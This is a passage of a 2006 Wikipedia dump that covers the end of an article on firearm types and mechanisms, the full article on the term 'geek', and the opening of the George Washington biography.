Handguns are small and usually made to be easily concealed, thus making them a very common choice for personal protection. In the military, handguns are usually issued to those who are not expected to need more potent (and more expensive) weapons, such as general and staff officers, and to those for whom there is no room for a full-sized rifle, such as armored vehicle and air crews. In this last role, they often compete with the [[carbine]], which is also usually issued to airborne infantry because of its small size. Outside the military, handguns are the usual armament for [[police]] (in those jurisdictions where police are armed) and, where legal, for private citizens. Private citizens in most jurisdictions usually carry only concealed handguns in public except when hunting, since an unconcealed weapon would attract undue attention, and would therefore be less secure, athough there are significant numbers of states in the US that continue to permit open carry of handguns. In the United States, the number of states which permit [[concealed carry]] has recently grown to over 35, and several states have well over 200,000 permit holders. Despite [[Second Amendment]] constitutional roots in the United States, the concept of citizens carrying a concealed weapon for self-defense is often a contentious political issue; see [[gun politics]] for more information.

Handguns are also used for many sporting purposes and hunting, although hunting usage is usually viewed as somewhat atypical due to the limited range and accuracy of handguns.  Some hunters however do their hunting in areas of dense cover where long guns would be awkward or relish the increased challenge involved in handgun hunting due to the necessity of approaching the game animal more closely.  Small-bore (e.g., .22 caliber rimfire) handguns have long been very popular for competitive target shooting, partially due to the low cost of both the weapons and the ammunition, and there is also a rapidly growing number of sporting competitions for larger calibers.

[[Image:Springfield_1903_rifle.jpeg|thumb|United States [[Springfield 1903 rifle]].]]

===Long guns===
Most modern [[long gun]]s are either [[rifle]]s or [[shotgun]]s. Historically, a long smoothbore firearm was known as a [[musket]]. A rifle has a rifled barrel that fires single bullets, while a shotgun fires packets of shot, a single slug, a sabot, or a specialty round (tear gas, [[Bolo Shell]], lead powder, etc.). Rifles are often built for accuracy and long range and are aimed, while shotguns are usually designed to quickly hit a moving target and are instead &quot;pointed&quot;. Rifles have a very small impact area but a long range and high accuracy. Shotguns have a large impact area with considerably less range and accuracy. However, the larger impact area can compensate for reduced accuracy, since shot spreads during flight; consequently, in hunting, shotguns are used for flying game.

Rifles and shotguns are commonly used for hunting and often to defend a home or place of business. Usually, large game are hunted with rifles (although shotguns can be used&amp;mdash;deer hunting with a shotgun is possible with the use of [[buckshot]], sabots or slugs) while birds are hunted with shotguns. Shotguns are sometimes preferred for defending a home or business due to their wide impact area, multiple wound tracks (when using buckshot), shorter range, and reduced penetration of walls, which significantly reduces the likelihood of unintended harm, although the [[handgun]] is also commonly preferred.

[[Image:Shotgunslaidout.jpg|thumb|One pump-action and two semi-automatic [[shotgun]]s, 20 boxes of shotgun shells, a target thrower, and three boxes of clay targets.]]

There are a variety of types of rifles and shotguns based on the method they are reloaded.  Bolt-action and lever-action rifles are manually manipulated.  Manual manipulation of the bolt or the lever causes the spend cartridge to be removed, the firing mechanism recocked, and a fresh cartridge inserted.  These two types of action are almost exclusivly used by rifles.

Slide-action (commonly called 'pump-action') rifles and shotguns are manually cycled by shuttling the foregrip of the firearm back and forth.  This type of action is typically used by shotguns, but several major manufacturers make rifles as well.

Automatic and semi-automatic rifles and shotguns both use either recoil or propellent gases to operate the firing mechanism that extracts and loads cartridges and recocks the firing mechanism.  Semi-automatics employ an interrupter mechanism to only fire one shot per pull of the trigger, while full-automatics do not have such a system and fire multiple shots with a single pull of the trigger.

Both rifles and shotguns also come in break-action varieties that do not have any kind of reloading mechanism at all but must be hand-loaded after each shot.  Both rifles and shotguns come in single- and double-barreled varieties; however due to the expense and difficulty of manufacturing double-barreled rifles are rare.  Double-barreled rifles are typically intended for African big-game hunts where the animals are dangerous, ranges are short, and speed is of the essence.  Very large and powerful calibers are normal for these types of guns.

Rifles have been in nationally featured marksmanship events in Europe and the United States since at least the 18th century, when rifles were first becoming widely available&amp;mdash;one of the earliest purely &quot;American&quot; rifle-shooting competitions took place in 1775, when Daniel Morgan was recruiting sharpshooters in Virginia for the impending [[American War of Independence|war with England]].  In some countries, rifle marksmanship is still a matter of national pride. Some specialized rifles in the larger calibers are claimed to have an accurate range of up to about one mile, although most have considerably less effective range.  In the second half of the 20th century, competitive shotgun sports became perhaps  even more popular than riflery, largely due to the motion and immediate feedback in activities such as skeet, trap and sporting clays.

[[Image:Gatling_gun_1865.jpg|thumb|An 1865 [[Gatling gun]].]]

===Machine guns===
A [[machine gun]] is a fully automatic firearm used almost exclusively by the military. Although not widely fielded until World War I, early machine guns were being used by the military in the late 19th century (e.g., the [[Gatling gun]]). They are primarily defensive weapons, mainly because of the difficulties involved in moving and placing them, and their inherent lack of accuracy. In contrast, light machine guns (such as the U.S. military's [[M249 Squad Automatic Weapon]] (SAW) and the [[M60 machine gun]], both of which are small-caliber weapons) are often wielded by a single infantryman; they provide a high rate of fire typically used as either suppressing fire or covering fire during infantry movement.  Machine guns are also often mounted on vehicles or helicopters, and have often been used since World War II as offensive weapons in fighter aircraft and tanks (e.g., for air combat or suppressing fire for ground troop support).

[[Image:Maschinenpistolen_Thompson_A1.jpg|thumb|A replica of the 1928 [[Thompson submachine gun]].]]

A [[submachine gun]] is a machine gun that fires cartridges that would otherwise be used in a [[handgun]]. Probably the most well-known example of a submachine gun is the [[Thompson submachine gun]] (the &quot;Tommy Gun&quot; of gangster movies), which fires [[.45 ACP]] cartridges.  Other well-known examples are the Israeli Uzi, the British Sten, and the German MP5, all of which implement the [[9 mm Luger Parabellum]], and the U.S.'s [[M3 Grease Gun]] which fires .45 ACP.

In United States law, a Machine Gun is defined (in part) by The [[National Firearms Act]] of 1934, [[United States]] code '''Title 26, Subtitle E, Chapter 53, Subchapter B, Part 1, § 5845''' as:

''&quot;... any weapon which shoots ... automatically more than one shot, without manual reloading, by a single function of the trigger.&quot;''

In the United States, purchases of machine guns manufactured after 1986 by civilians were banned by the [[Firearm Owners Protection Act]] (FOPA), passed in that year.  Importation of machine guns for civilian sale in the U.S. was banned by the [[Gun Control Act of 1968]].  Machine guns manufactured prior to 1986 or imported prior to 1968 can still be legally transferred to civilians who pay a substantial tax to the [[BATFE]] and pass a background investigation.  In addition, &quot;transferable&quot; machine guns must have been registered with the [[BATFE]] prior to 1986.  Machine Gun parts kits (which do not include a functional [[receiver (firearms)|receiver]]) can be transferred without restriction.  Permission must be received from [[BATFE]] to move a machine gun between states.

[[Image:AK47.jpg|thumb|[[Mikhail Kalashnikov|Kalashnikov]]'s [[AK-47]] assault rifle.]]

One of the most popular, most produced and most used machine guns in the world is the [[Soviet]] [[AK-47]]. It served in the Soviet army as standard infantry weapon issue, as well as in many other east-block states. It is still used as standard military equipment in some former Warsaw Pact countries, as well as being used by many criminal or terrorist organizations worldwide. A semi-automatic version of this firearm is available in many locales where fully-automatic weaponry is not available.

==Loading and firing mechanisms==

[[Image:Cannon_pic.jpg|thumb|A small, cast-iron field cannon.]]

===Cannon===
The [[cannon]] is loaded with gunpowder and the cannonball through the muzzle, while a fuse is placed at the rear. This fuse is lighted, causing the gunpowder to ignite and propel the cannonball. Most cannons were land- or ship-based guns, although hand cannons also existed. In military use, the standard cannon was tremendously powerful, while hand cannon was somewhat useless.  In the 19th century, the muzzle-loaded cannon was made obsolete by the breech-loaded artillery piece with a rifled barrel.

===Muzzleloader===
[[Muzzle-loading]] muskets (smooth-bored long guns) were among the first small arms developed. The firearm was loaded through the muzzle with gunpowder, optionally some wadding and then a bullet (usually a solid lead ball, but musketeers could shoot stones when they ran out of bullets). Greatly improved muzzleloaders (usually rifled instead of smooth-bored) are manufactured today and have many enthusiasts, many of whom hunt large and small game with their guns. Muzzleloaders have to be manually reloaded after each shot; a skilled archer could fire multiple arrows faster than most early muskets could be reloaded and fired, although by the mid-18th century, when muzzleloaders became the standard small armament of the military, a well-drilled soldier could fire six rounds in a minute using prepared cartridges in his musket. Before then, effectiveness of muzzleloaders was hindered by both the low reloading speed and, before the firing mechanism was perfected, the very high risk posed by the weapon to the person attempting to fire it.

One interesting solution to the reloading problem was the &quot;Roman Candle Gun&quot;.  This was a muzzleloader in which multiple charges and balls were loaded one on top of the other, with a small hole in each ball to allow the subsequent charge to be ignited after the one ahead of it was ignited.  It was neither a very reliable nor popular firearm, but it enabled a form of &quot;automatic&quot; fire long before the advent of the machine gun.

http://www.scotwars.com/html/equip_firearms2.htm#3

====Matchlock====
[[Matchlock]]s were the first and simplest small arms firing  mechanisms developed. Using the matchlock mechanism, the powder in the gun barrel was ignited by a piece of burning cord called a &quot;match&quot;.  The match was wedged into one end of an S-shaped piece of steel. As the trigger (often actually a lever) was pulled, the match was brought into the open end of a &quot;touch hole&quot; at the base of the gun barrel, which contained a very small quantity of gunpowder, igniting the main charge of gunpowder in the gun barrel.  The match usually had to be relit after each firing.

====Wheellock====
The [[wheellock]] action, a successor to the matchlock, predated the flintlock.  Despite its many faults, the wheellock was a significant improvement over the matchlock in terms of both convenience and safety, since it eliminated the need to keep a smoldering match in close proximity to loose gunpowder. It operated using a small wheel much like that on [[cigarette lighters]] which was wound up with a key before use and which, when the trigger was pulled, spun against a flint, creating the shower of sparks that ignited the powder in the touch hole. Supposedly invented by [[Leonardo da Vinci]], the [[Italy|Italian]] [[Renaissance man]], the wheel lock action was an innovation that was not widely adopted.

====Flintlock====
The [[flintlock]] action was a major innovation in small arms design. The spark used to ignite the gunpowder in the touch hole was supplied by a sharpened piece of flint clamped in the jaws of a &quot;cock&quot; which, when released by the trigger, struck a piece of steel called the &quot;frizzen&quot; to create the necessary sparks.  (The spring loaded arm that holds a piece of flint or pyrite is refered to as a cock because of its resemblance to a rooster.)  The cock had to be manually reset after each firing, and the flint had to be replaced periodically due to wear from striking the frizzen.  (See also [[flintlock mechanism]], [[snaphance]], [[miquelet]])  The flintlock was widely used during the 18th and 19th centuries in both muskets and rifles.

====Percussion cap====
[[Percussion cap]]s ([[caplock mechanism]]s), coming into wide service in the 19th century, were a dramatic improvement over flintlocks. With the percussion cap mechanism, the small primer charge of gunpowder used in all preceding small arms was replaced by a completely self-contained explosive charge contained in a small brass &quot;cap&quot;.  The cap was fastened to the touch hole of the gun (extended to form a &quot;nipple&quot;) and ignited by the impact of the gun's &quot;hammer&quot;.  (The hammer is roughly the same as the cock found on flintlocks except that it doesn't clamp onto anything.)  In the case of percussion caps the hammer was hollow on the end to fit around the cap in order to keep the cap from fragmenting and injuring the shooter. Once struck, the flame from the cap in turn ignited the main charge of gunpowder, as with the flintlock, but there was no longer any need to charge the touch hole with gunpowder, and even better, the touch hole was no longer exposed to the elements.  As a result, the percussion cap mechanism was considerably safer, far more weatherproof, and vastly more reliable (cloth-bound cartridges containing a premeasured charge of gunpowder and a ball had been in regular military service for many years, but the exposed gunpowder in the entry to the touch hole had long been a source of misfires). All muzzleloaders manufactured since the second half of the 19th century use percussion caps except those built as replicas of the flintlock or earlier small arms.

===Cartridges===
A major innovation in small arms (and light artillery) came in the second half of the 19th century when ammunition, previously delivered as separate bullets and powder, was combined in a single metallic (almost always brass) cartridge containing a percussion cap, powder, and a bullet in one weatherproof package. Before this, a &quot;cartridge&quot; was simply a premeasured quantity of gunpowder together with a ball in a small cloth bag, which also acted as wadding for the charge and ball. This early form of cartridge had to be rammed into the muzzleloader's barrel, and either a small charge of gunpowder in the touch hole or an external percussion cap mounted on the touch hole ignited the gunpowder in the cartridge. [[Cartridge (weaponry)|Cartridges]] with built-in percussion caps (called &quot;primers&quot;) continue to this day to be the standard in firearms. In cartridge-firing firearms, a hammer (or a firing pin struck by the hammer) strikes the cartridge primer, which then ignites the gunpowder within.  The primer charge is at the base of the cartridge, either within the rim (a &quot;rimfire&quot; cartridge) or in a small percussion cap embedded in the center of the base (a &quot;centerfire&quot; cartridge). As a rule, centerfire cartridges are more powerful than rimfire cartridges, containing more gunpowder and (usually) larger diameter bullets.

Caseless cartridges are now being explored: instead of using brass as the cartridge case, these would hold the cartridge together with paper or some other substance that is destroyed when the gun is fired, eliminating the problem of brass casings ejecting and littering the ground. Caseless cartridges and the guns that would use them are still prototypes, although the idea of caseless cartridges can be traced to the musket &quot;cartridges&quot; widely used by the 18th-century military.

Nearly all contemporary firearms load cartridges directly into their breech. Some additionally or exclusively load from a [[magazine (firearm)|magazine]] that holds multiple cartridges. A magazine is a box or cylinder that is designed to be reusable and is detachable from the gun.  Some magazines, such as those of the [[M1 Garand|Garand]] are loaded by using a [[clip]], which is a device that looks like a rail holding the ammunition by the case base. In most cases, a [[magazine (firearm)|magazine]] and a [[clip]] are different in that the former's function is to feed ammunition into the firearm's [[breech]], while the latter's is only to &quot;charge&quot; a [[magazine (firearm)|magazine]] with fresh ammunition.

==Repeating, semiautomatic, and automatic weapons==
Many small arms are &quot;single shot&quot; firearms: i.e., each time a cartridge is fired, the operator must manually re-cock the firearm and load another cartridge.  The classic double-barreled shotgun is a good example.  A firearm that can load multiple cartridges as the weapon is re-cocked is considered a '''repeating weapon''' or simply a &quot;repeater&quot;. The lever-action rifle of Old West fame, a pheasant-hunter's pump shotgun, and a police sniper's bolt-action rifle are good examples of repeating firearms.  A firearm that automatically re-cocks and reloads the next round with each trigger pull is considered a '''semiautomatic''' weapon.  An automatic (or &quot;fully automatic&quot;) weapon is one that automatically re-cocks, reloads, and fires as long as the trigger is depressed. Many modern military firearms have a &quot;selective-fire&quot; option, which is a mechanical switch that allows the weapon be fired either in the semiautomatic or fully automatic mode. In the current M16A2 and M16A4 variants of the U.S.-made [[M16 (rifle)|M16]], continuous full-automatic fire is not possible, having been replaced by an automatic burst of three cartridges that makes full-automatic fire considerably more accurate. It is sometimes debated which is the &quot;best&quot; military small arm, the former Soviet Union's 7.62x39mm- Kalashnikov [[AK-47]] or the [[U.S.]]-manufactured .223-caliber [[M16 (rifle)|M16]]: the highly reliable and inexpensive but heavy and bulky AK-47 has been widely adopted by many small countries, including many current and former [[Communist]] nations. The much lighter and far more accurate M16 (and its .223 cartridge in particular) has found wide adoption among NATO members and military allies of the United States (see also [[AK-47 vs. M16]]). 

The first &quot;rapid firing&quot; weapons were usually similar to the 19th-century [[Gatling gun]], which would fire cartridges from a magazine as fast as and as long as the operator turned a crank. Eventually, the &quot;rapid&quot; firing mechanism was perfected and miniaturized to the extent that either the recoil of the firearm or the gas pressure from firing could be used to operate it (which made the firing mechanisms truly &quot;automatic&quot;). Automatic rifles such as the [[Browning Automatic Rifle]] (the &quot;BAR&quot;) were in common use by the military during the early part of the 20th century, and automatic rifles that fired [[handgun]] rounds, known as [[submachine gun]]s, also appeared in this time.

Submachine guns (such as the well-known Thompson gun) were originally about the size of carbines. Because they fire pistol ammunition, they have limited long-range use, but in close combat can spray bullets in a deadly and controllable manner due to the light recoil of the pistol ammunition.  They are also extremely inexpensive and simple to build in time of war, enabling a nation to quickly arm its military.  In the latter half of the 20th century, submachine guns were being miniaturized to the point of being only slightly larger than some large handguns. The most widely used submachine gun at the end of the 20th century was the [[Heckler &amp; Koch MP5]]. The MP5 is actually designated as a &quot;machine pistol&quot; by Heckler &amp; Koch (MP5 stands for Machine Pistol 5), although some reserve this designation for even smaller submachine guns such as the [[MAC-10]], which are about the size and shape of pistols.

Nazi Germany brought the world's attention to what eventually became the class of firearm most widely adopted by the military: the so-called [[assault rifle]] (see [[Sturmgewehr_44]]). An assault rifle is usually slightly smaller than a military rifle such as the [[M1 Garand]], the [[M14 (rifle)|M14]] or the [[K98k]].  Generally, assault rifles have mechanisms that allow the user to select between single shots, bursts of shots, or automatic fire.  Moreover, assault rifles tend to incorporate military characteristics that make them look menacing: bayonet lugs, flash suppressors, and large capacity ammunition magazines.  Generally, these design features are trivial in nature, and the modern military assault rifle differs very little in function from a civilian hunting rifle.  Universally, civilian assault rifle variants are strictly semiautomatic. The cartridge fired by these rifles is midway in power between a pistol cartridge and a high-power rifle round, which gives the soldier the close-in spray ability of a submachine gun with the more precision long-range shooting of a high-power rifle round.  Soviet engineer [[Mikhail Kalashnikov]] quickly adapted the concept to the [[AK-47]], which has become the world's most widely used assault rifle. In United States, John Garand, the inventor of the [[M1 Garand]] rifle used by the U.S. military during World War II, adapted the assault rifle design to produce the [[M14 (rifle)|M14]], which was used by the U.S. military until the 1960s. The significant recoil (hence inaccuracy) of the M14 when fired in full automatic mode was seen as a problem, however, and in the 1960s it was replaced by [[Eugene Stoner]]'s [[AR-15]], which also marked a switch from the high-powered but heavy .30-caliber rifle used by the U.S. military since before World War I to the much smaller but far lighter and light recoiling (and arguably more accurate) .223-caliber rifle.  The military later designated the AR-15 to the &quot;M16&quot;.  The civilian version of the M16 continues to be known as the AR-15 and looks exactly like the military version, although it lacks the mechanism that permits fully automatic fire.

==See also==
{{Commons|category:Firearms}}
===See also===
*[[Artillery]]
*[[Militaria]]
*[[Military technology and equipment]]

===Gun technology and science===
*[[Ballistics]]
*[[Electrothermal-chemical technology]]
*[[Firearm action]]
*[[Optics]]
*[[Physics of firearms]]
*[[Rheological fluids based firearms mechanisms]]
*[[Suppressor|Silencer]]
*[[Terminal ballistics]]
*[[Cartridge (weaponry)]]
*[[Bullet]]

===Guns and society===
[[Gun law]] - [[Gun politics]] - [[Gun safety]] - [[Concealed carry]] - [[List of United States firearms topics]]

===Gun-related terminology===
*[[Saturday-night special]]
*[[Small arms]]

===Lists of weapons===
====Types====
*[[List of firearms]]
*[[List of pistols]]
*[[List of submachineguns]]
*[[List of assault rifles]]
*[[List of shotguns]]
*[[List of sniper rifles]]

*[[List of aircraft weapons]]

====[[World War II|WW II]] Era====
*[[List of weapons of military aircraft of Germany during World War Two|WW II Luftwaffe aircraft weapons]]
*[[List of World War II firearms]]
*[[List of common World War II infantry weapons]]
*[[List of secondary and special-issue World War II infantry weapons|List of prototype World War II infantry weapons]]
*[[List of secondary and special-issue World War II infantry weapons|List of secondary and special issue WWII weapons]]

====Other====
*[[List of individual weapons of the U.S. Armed Forces]]
*[[List of crew served weapons of the US Armed Forces]]

*[[List of weapons of the U.S. Marine Corps]] 

*[[Lists of weapons in video games]]

===Manufacturers===
See [[List of modern armament manufacturers]].

==External resources==
*[http://dmoz.org/Shopping/Recreation/Guns DMOZ Open Directory Project - Guns]
*[http://dmoz.org/Shopping/Recreation/Guns/Antiques_and_Collectibles DMOZ Open Directory Project - Guns, Antique]



==External links==
*[http://www.nazarian.no/def.asp?lang=0&amp;page_id=1 Nazarian`s Gun`s Recognition Guide]
*[http://world.guns.ru/main-e.htm Online encyclopedia of firearms and ammunition of the XX and XXI centuries.]
*[http://www.self-defender.net/weapons/rifles.htm Modern Civilian And Military Rifles]


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  </page>
  <page>
    <title>Geek</title>
    <id>11967</id>
    <revision>
      <id>42156278</id>
      <timestamp>2006-03-04T04:46:17Z</timestamp>
      <contributor>
        <username>Tai112</username>
        <id>1026690</id>
      </contributor>
      <comment>/* Various definitions */</comment>
      <text xml:space="preserve">{{wiktionary}}

A '''geek''' (pronunciation /gi:k/ ) is a person who is fascinated, perhaps obsessively, by obscure or very specific areas of [[knowledge]] and [[imagination]]. ''Geek'' may not always have the same meaning as the term ''nerd'' (see [[nerd]] for a discussion of the disputed relation between the terms).

==Various definitions==
The definition of ''geek'' has changed considerably over time, but the use is colloquial and there is no definite official meaning. The social and rather derogatory connotations of the word makes it particularly difficult to define. Below are some definitions of the word; all are still in use to varying degrees.

*A person who is interested in [[technology]], especially [[computing]] and [[new media]]. Comparable with the classic definition of [[hacker]]. ''(Late 20th century and early 21st century.)''

*A person who has chosen concentration rather than conformity; one who pursues skill (especially technical skill) and imagination, not mainstream social acceptance. Geeks usually have a strong case of [[neophilia]]. Most geeks are adept with computers and treat [[hacker]] as a term of respect, but not all are hackers themselves - and some who are in fact hackers normally call themselves geeks anyway, because they (quite properly) regard 'hacker' as a label that should be bestowed by others rather than self-assumed.

*A person with a devotion to something in a way that places him or her outside the mainstream. This could be due to the intensity, depth, or subject of their interest.  This definition is very broad, and allows for [[mathematics]] geeks, [[aviation]] geeks, [[band geeks]], [[computer]] geeks, [[politics]] geeks, [[modelmaking]] geeks, [[music]] geeks, [[theatre]] geeks, history]] geeks, [[linguistics]] geeks, [[sports]] geeks,[[Society_for_Creative_Anachronism|SCA]] geeks (SCAdians), [[gaming]] geeks, [[comic Book|Comics]] geeks, [[ham radio]] geeks, [[public transit]] geeks ([[metrophile]]s), [[anime]] and [[manga]] geeks ([[otaku]]), [[Star Wars]] geeks, [[Star Trek]] geeks ([[Trekkie]]s and [[Trekkers]], the latter noted for costuming), [[Tolkien]] or [[fantasy]] geeks, and even [[Wikipedia]] geeks. ''(Late 20th century and early 21st century.)''

*G.E.E.K., as an acronym, reputedly came from the [[Military of the United States|United States Military]]; it stands for General Electrical Engineering Knowledge. It is unclear if this was the origin of the current meaning for geek, or if the acronym was used as a humorous reference toward the pre-established meaning for geek (i.e., a [[backronym]]).

*A ''incorrect'' derogatory term for one with low [[social skills]], regardless of intelligence. The correct term would be a [[dork]]. ''(Late 20th century.)''

*A performer at a carnival who swallows various live animals and bugs. Sometimes this extends to biting off the heads of chickens.  The Geek would usually perform in a &quot;geek pit&quot;. This sense of the word dates back to the [[1920s]], and possibly comes from the 16th century word ''geck'', originally of [[Middle Low German|Low German]] origin. In English the precursor word &quot;geck&quot; or &quot;gecke&quot; was used by [[William Shakespeare|Shakespeare]]: ''&quot;Why have you suffer'd me to be imprison'd, kept in a dark house, visited by the priest, and made the most notorious geck and gull That e'er invention play'd on?&quot;'' ([[Twelfth Night]], V.i).  The word also thought to appear in [[Cymbeline]] ([http://www.wordorigins.org/wordorg.htm wordorigins.org]).

==Reclaiming and self-identification==

''Geek'' has always had negative connotations within society at large, where being described as a geek tends to be an insult. The term has recently become less condescending, or even a badge of honor, within particular fields and subcultures; this is particularly evident in the technical disciplines, where the term is now more of a compliment denoting extraordinary skill.  There is an increasing number of people who self-identify with the term.

==Nontechnical geeks==

In the past, the image of geeks has almost always been associated with someone who was assumed to be more intelligent and educated than the general public due to the notion that many of them were intellectually talented. However, with the revolution caused by [[electronic entertainment]], the [[internet]], and [[television]], many, both male and female, have styled themselves as geeks in the interest of appearing more intelligent or generating a fashionably quirky image. Examples of both can especially be seen in many genre [[fandom]] circles where esoteric [[jargon]] is frequently employed as a sign of being &quot;in the know&quot; or the desire to be part of a [[subculture]]'s elite. An example of this is the widespread use of[[ japlish]] in many western [[otaku]] circles or the frequent use of [[L33t]] online. Many of these geeks  prefer pop culture, entertainment and artsy or fannish subjects rather than the traditional domain of geeks; science or technical fields which are intellectually demanding and require serious committment.  [[Jay and Silent Bob]] of [[Kevin Smith]]'s [[Jersey Trilogy]] (Clerks, Mallrats, and Chasing Amy) popularizes the image of self-styled geeks who may be proficient at absorbing pop culture/entertainment information (such as [[comics]], [[movies]], [[videogames]], and [[sci-fi]]) but are not particularly educated or intelligent otherwise.

==See also==

* [[anorak (slang)|Anorak]]
* [[Asperger's Syndrome]]
* [[Beat the Geeks]]
* [[boffin|Boffin]]
* [[Freaks and Geeks]]
* [[Geek Code]]
* [[Geek chic]]
* [[Geek Squad]]
* [[Geek canon]]
* [[Geekcorps]]
* [[gling gling|Gling Gling]]
* [[hacker|Hacker]]
* [[leet|Leet]]
* [[nerd|Nerd]]
* [[otaku|Otaku]]
* [[Social anxiety]]
* [[whiz kid|Whiz Kid]]

== External links==
* [http://www.geekfuactiongrip.com Geek Fu Action Grip] A podcast by Mur Lafferty about geeks and geeky things
* [http://www.geekculture.com Geek Culture] Home of the Joy of Tech cartoon
* [http://www.innergeek.us/geek.html The Original Geek Test] 507 questions to determine how much of geek you are
* [http://www.geekcode.com The Geek Code] A part of geek history
* [http://www.geekoftheday.com Geek Of The Day] Real profiles of real geeks
* [http://www.catb.org/~esr/jargon/html/appendixb.html A Portrait of J. Random Hacker] A detailed description of the programming variety of geek

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[[zh:极客]]</text>
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  </page>
  <page>
    <title>George Washington</title>
    <id>11968</id>
    <revision>
      <id>42111570</id>
      <timestamp>2006-03-03T22:18:34Z</timestamp>
      <contributor>
        <username>Zaui</username>
        <id>35247</id>
      </contributor>
      <comment>Change nationality back to American from &quot;Chinese&quot;</comment>
      <text xml:space="preserve">{{Otherpeople|George Washington}}
{{Infobox_President | name=George Washington
| nationality=American
| image=Portrait of George Washington.jpeg
| wh image=Gw1.gif
| order=1st President
| term_start=[[April 30]] [[1789]]
| term_end=[[March 3]] [[1797]]&lt;!-- Prior to the passage of the 20th Amendment, presidential terms ended at 11:59:59 on [[March 3]]. --&gt;
| predecessor=None
| successor=[[John Adams]]
| birth_date=[[February 22]] [[1732]]
| birth_place=[[Westmoreland County, Virginia|Westmoreland]], [[Virginia]]

| death_date=[[December 14]] [[1799]]
| death_place=[[Mount Vernon (plantation)|Mount Vernon]], Virginia
| spouse=[[Martha Washington|Martha Custis Washington]]
| Brothers=Lawrence Washington and Augustine  Washington (Half Brothers)
| party=None (1789-93) [[Federalist]] (1793-1797) | vicepresident=[[John Adams]]
}}
'''George Washington''' ([[February 22]] [[1732]] &amp;ndash; [[December 14]] [[1799]]) was the successful [[Commander-in-Chief]] of the [[Continental Army]] in the [[American Revolutionary War]] from 1775 to 1783, and later became the first [[President of the United States]], an office to which he was elected, unanimously, twice and remained in from 1789 to 1797.
Washington first gained prominence as an officer during the [[French and Indian War]] and as a leader of colonial militia supporting the [[British Empire]].  After leading the American victory in the Revolutionary War, he refused to lead a [[militarism|military regime]], though encouraged by some of his peers to do so. He returned to civilian life at [[Mount Vernon (plantation)|Mount Vernon]].

In 1787, he presided over the [[Philadelphia Convention|Constitutional Convention]] that drafted the current [[United States Constitution]], and, in 1789, was the unanimous choice to become the first President of the United States. His two-term administration set many policies and [[tradition|traditions]] that survive today. After his second term expired, Washington again voluntarily relinquished [[Political power|power]], thereby establishing an important precedent that was to serve as an example for the United States and also for other future [[republic]]s.

Because of his [[Founding Fathers of the United States|central role in the founding]] of the [[United States]], Washington is often called the [[Father of the Nation|&quot;Father of his Country&quot;]]. {{ref|father}} Scholars [[Historical rankings of United States Presidents|rank]] him with [[Abraham Lincoln]] among the greatest of United States presidents.

==Early life==
According to the [[Julian calendar]], Washington was born on [[February 11]] [[1731]]; according to the [[Gregorian calendar]], which was adopted during Washington's life and is used today, he was born on [[February 22]] [[1732]] ([[Washington's Birthday]] is celebrated on the Gregorian date.) At the time of his birth, the English year began [[March 25]] ([[Annunciation]] Day, or [[Lady Day]]), hence the difference in his birth year. His birthplace was Popes Creek Plantation, on the Potomac River southeast of modern-day [[Colonial Beach, Virginia|Colonial Beach]] in {{USCity|Westmoreland County|Virginia}}.

George Washington was the oldest child from his father's second marriage.  Washington had two older half-brothers: Lawrence and Augustine, Jr. &quot;Austin&quot; and four younger siblings: Betty, Samuel, John Augustine &quot;Jack&quot;, and Charles.  Washington's parents [[Augustine Washington]] &quot;Gus&quot; (1693&amp;ndash;[[April 12]] [[1743]]) and [[Mary Ball Washington]] (1708&amp;ndash;[[August 25]] [[1789]]) were of [[British]] descent.  Gus Washington was a [[slavery|slave]]-owning planter in [[Virginia]} who later tried his hand in iron-mining ventures.  Considered members of the gentlemen class they were not nearly as wealthy as the neighboring Carters and Lees.  Washington spent much of his boyhood at [[Ferry Farm]] in [[Stafford County, Virginia|Stafford County]], near [[Fredericksburg, Virginia|Fredericksburg]] and visited his Washington cousins at [[Chotank]] in King George County. One of Gus Washington's properties where the family resided from about 1735-1737 was Little Hunting Creek Farm.  This property was later taken over by Gus's oldest son, Lawrence, and renamed Mount Vernon.  The death of Gus Washington left the family in difficult circumstances and prevented young George from receiving an education in England as his older brothers Lawrence and Austin did.  George Washington would never travel to Europe.  

[[Image:Parsonweemsfable.jpg|thumb|300px|right|[[Grant Wood]]'s 1939 painting pokes gentle fun at Parson Weems' tale of Washington's childhood]]
An early biography of Washington by Parson Weems, who met Washington and interviewed people who knew Washington as a young man, included a story about his honesty as a child. In the story, he wanted to try out a new axe, so he chopped the bark of his father's [[cherry]] tree; when questioned by his father, he admitted responsibility and uttered the famous words: &quot;I can't tell a lie.” The story first appeared in 1800 in Weems's biography (titled &quot;Life of Washington&quot;)[http://books.google.com/books?ie=UTF-8&amp;hl=en&amp;id=kQEJhFWnyLUC&amp;dq=&amp;lpg=PA3&amp;pg=PA5&amp;printsec=2].  The work of Parson Weems is believed to be pure allegory, though the story indeed depicted the strict integrity that was a hallmark of Washington's life.

He was home schooled, often tutored by his older brothers, and eventually trained as a [[surveyor]], obtaining his certificate from the [[College of William and Mary]]. He surveyed the [[Shenandoah Valley]] in western Virginia for Lord Fairfax, a relative of Washington's brother Lawerence by marriage, and retained a lifelong interest in western lands, particularly the areas reached from the [[Potomac River]] as his thinking was that this water source was the central entrance for oceanic ships. His only foreign trip was a short visit to [[Barbados]] [http://www.barbadosadvocate.com/NewViewNewsleft.cfm?Record=22728] with Lawrence in 1751, during which George Washington survived an attack of [[smallpox]] although his face was scarred by the disease. He was initiated as a [[Freemasonry|Freemason]] in Fredericksburg on [[February 4]] [[1752]]. Upon Lawrence Washington's death from tuberculosis in July 1752, George Washington rented and eventually inherited the estate, [[Mount Vernon (plantation)|Mount Vernon]], in [[Fairfax County, Virginia|Fairfax County]] (near [[Alexandria, Virginia|Alexandria]]).  Washington would spend the next thirty years adding on to the house and the surrounding acerage.

==French and Indian War: 1754-1763==   

[[Image:Washington 1772.JPG|thumb|left|225px|This, the earliest portrait of Washington, was painted in 1772 by [[Charles Willson Peale]], and shows Washington in uniform as colonel of the First Virginia Regiment.]]   

